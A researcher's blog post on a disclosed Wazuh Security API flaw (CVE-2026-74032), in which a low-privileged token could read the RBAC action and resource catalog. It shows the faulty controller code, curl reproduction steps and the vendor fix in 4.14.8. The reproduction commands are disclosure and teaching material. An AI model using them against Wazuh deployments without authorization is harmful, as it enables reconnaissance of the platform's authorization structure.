October 14, 2026
I Found an RBAC Authorization Bypass in Wazuh โ CVE-2026โ74032
How a missing RBAC policy check exposed security actions and resources to low-privileged users.
By Vigneshkumaroffsec
5 min read
By Vignesh Kumar | Security Researcher
While performing an authorized security assessment of Wazuh, I noticed something unusual in the way its Security API handled permissions.
I was testing with a low-privileged user who could read agent information but wasn't supposed to have access to security configuration. When I requested the security configuration endpoint, Wazuh correctly returned 403 Forbidden.
But when I tried two related endpoints, the result was different.
Both returned 200 OK.
That small inconsistency led me to investigate the source code, document the issue, and report it to the Wazuh Security Team.
The vulnerability has since been publicly disclosed as CVE-2026โ74032, and the fix was shipped in Wazuh 4.14.8.
Official advisory: https://github.com/wazuh/wazuh/security/advisories/GHSA-vh8p-3xvw-w536
What is Wazuh?
Wazuh is an open-source security platform used for security monitoring, threat detection, vulnerability detection, and compliance monitoring.
Its API allows administrators and authorized users to interact with the platform. Like any security-sensitive system, it relies on Role-Based Access Control (RBAC) to determine which operations a user can perform.
The idea behind RBAC is straightforward: users should only be able to access the resources and actions permitted by their assigned roles.
However, assigning permissions correctly is only one part of the equation. The API must also enforce those permissions consistently across its endpoints.
That was where I found a problem.
The Initial Observation
I created a dedicated low-privileged account with these permissions:
agent:readagent:id:*
I then used the same account and authentication token to test several API endpoints.
Here were the results:
EndpointHTTP statusGET /agents?limit=1200 OKGET /security/config403 ForbiddenGET /security/actions200 OKGET /security/resources200 OK
The first two responses were expected. The user could read agent information but couldn't access security configuration.
The other two responses were unexpected.
The actions and resources endpoints returned the RBAC catalog even though the account had only limited permissions.
I wanted to understand why the same token was treated differently across these endpoints.
Investigating the Root Cause
I started reviewing the relevant controller implementation to understand how authorization policies were passed through the request.
The affected code created a DistributedAPI instance similar to this:
dapi = DistributedAPI(
f=security.get_rbac_resources,
f_kwargs=remove_nones_to_dict(f_kwargs),
request_type='local_any',
is_async=False,
wait_for_complete=True,
logger=logger
)dapi = DistributedAPI(
f=security.get_rbac_resources,
f_kwargs=remove_nones_to_dict(f_kwargs),
request_type='local_any',
is_async=False,
wait_for_complete=True,
logger=logger
)What caught my attention was the absence of an explicit rbac_permissions argument.
The caller's policies were available through the request context:
request.context["token_info"]["rbac_policies"]request.context["token_info"]["rbac_policies"]However, they were not being passed into this DistributedAPI call.
The expected policy propagation was:
rbac_permissions=request.context["token_info"]["rbac_policies"]rbac_permissions=request.context["token_info"]["rbac_policies"]This was the key finding in my source code analysis.
Without the expected policies being propagated, the downstream authorization mechanism could evaluate the request without the caller's intended RBAC restrictions. The observed HTTP responses were consistent with this authorization failure.
The issue wasn't that authentication had been bypassed. The user still needed valid credentials.
The problem was that authorization wasn't being enforced as expected for these particular requests.
Reproducing the Issue
I reproduced the behavior in an authorized test environment using a low-privileged account.
First, I authenticated with the test account:
TOKEN=$(curl -sk -u 'TEST_USER:TEST_PASSWORD' \
-X POST \
'https://WAZUH_HOST:55000/security/user/authenticate' \
| jq -r '.data.token')TOKEN=$(curl -sk -u 'TEST_USER:TEST_PASSWORD' \
-X POST \
'https://WAZUH_HOST:55000/security/user/authenticate' \
| jq -r '.data.token')I then requested the security configuration endpoint:
curl -sk \
-H "Authorization: Bearer $TOKEN" \
'https://WAZUH_HOST:55000/security/config' \
-w '\nHTTP Status: %{http_code}\n'curl -sk \
-H "Authorization: Bearer $TOKEN" \
'https://WAZUH_HOST:55000/security/config' \
-w '\nHTTP Status: %{http_code}\n'The response was:
HTTP Status: 403HTTP Status: 403Next, I tested the actions endpoint:
curl -sk \
-H "Authorization: Bearer $TOKEN" \
'https://WAZUH_HOST:55000/security/actions' \
-w '\nHTTP Status: %{http_code}\n'curl -sk \
-H "Authorization: Bearer $TOKEN" \
'https://WAZUH_HOST:55000/security/actions' \
-w '\nHTTP Status: %{http_code}\n'This time, the API returned:
HTTP Status: 200HTTP Status: 200I repeated the test against /security/resources and observed the same successful response.
Using the same token was important. It helped rule out differences in authentication state or account privileges as the explanation for the inconsistent results.
What Information Could an Attacker Learn?
The returned RBAC catalog included action names such as:
security:read_configsecurity:update_configagent:deletecluster:readactive-response:command
The response also included mappings between actions and API endpoints.
For a low-privileged user, this information could reveal more about the platform's authorization structure than intended.
For example, it could help someone identify:
- Which privileged actions are available in the API.
- Which endpoints correspond to particular actions.
- How the platform organizes its authorization resources.
This information could make further reconnaissance easier for an attacker who already has a valid low-privileged account.
It is important to be precise about the impact, though. Reading the RBAC catalog does not automatically grant permission to execute the actions listed in it. My finding demonstrated unauthorized access to the catalog, not successful execution of privileged operations.
That distinction matters when assessing the actual severity of a vulnerability.
Reporting the Vulnerability
After confirming the behavior and investigating the source code, I prepared a technical report for the Wazuh Security Team.
The report included:
- The affected API endpoints.
- The low-privileged account permissions used during testing.
- The observed HTTP responses.
- Source code analysis identifying the missing RBAC policy propagation.
- Reproduction steps and proof of concept.
- Recommended remediation.
I reported the issue responsibly and offered to assist with validating a fix.
The Wazuh team subsequently confirmed the publication of the security advisory GHSA-vh8p-3xvw-w536, associated with CVE-2026โ74032.
The team also informed me that the fix shipped in Wazuh 4.14.8. Publication took longer than initially planned because they wanted to finish updating their cloud environments before making the disclosure public.
I appreciate the Wazuh team's response and their work in addressing the issue.
CVE Details
Here are the key details of the published vulnerability.
Field Details CVE-2026โ74032 GitHub Security Advisory GHSA-vh8p-3xvw-w536 Vulnerability RBAC authorization bypass CWE-863 โ Incorrect Authorization Severity Medium Affected versions Wazuh 4.0.0 to versions before 4.14.8 Fixed version Wazuh 4.14.8
The published vulnerability description identifies the exposure of the RBAC catalog through the affected Security API endpoints. The issue requires authentication, but a low-privileged account is sufficient to encounter the authorization weakness.
You can find the official details here:
Security advisory: https://github.com/wazuh/wazuh/security/advisories/GHSA-vh8p-3xvw-w536
Release notes: https://documentation.wazuh.com/current/release-notes/release-4-14-8.html
What Should Wazuh Administrators Do?
If you're running a potentially affected version of Wazuh, review your deployment and plan an upgrade to a fixed version.
Wazuh 4.14.8 is the documented fixed version for this issue. If you use another release branch, check the vendor's guidance for the appropriate supported fix.
Beyond upgrading, this finding is a good reminder to review authorization boundaries across security-sensitive APIs.
During security testing, don't limit your checks to administrator accounts. Create restricted users and verify that the API respects their assigned permissions.
A user who can access one endpoint should not automatically be able to access every related endpoint.
Final Thoughts
What started as a simple API permission check turned into a vulnerability that received an official CVE and a vendor security advisory.
The most useful part of this investigation was comparing the behavior of related endpoints using the same low-privileged account. The difference between 403 Forbidden and 200 OK gave me a reason to look deeper, and source code analysis helped me identify the likely root cause.
For me, this is one of the practical lessons of application security: sometimes, the important findings aren't immediately obvious. They emerge when you question behavior that appears inconsistent and follow the evidence.
I'm grateful to the Wazuh Security Team for reviewing the report, coordinating the disclosure, and shipping a fix.
The vulnerability is now publicly documented as CVE-2026โ74032, with Wazuh 4.14.8 identified as the fixed version.
About me
I'm Vignesh Kumar, a security researcher working across application security, DevSecOps, cloud security, and vulnerability research.
I share practical findings from security assessments and responsible disclosures to help improve the security of real-world systems.
This article describes an authorized security assessment and a publicly disclosed vulnerability. The reproduction details are intended for controlled testing. Always obtain permission before testing systems you do not own or administer.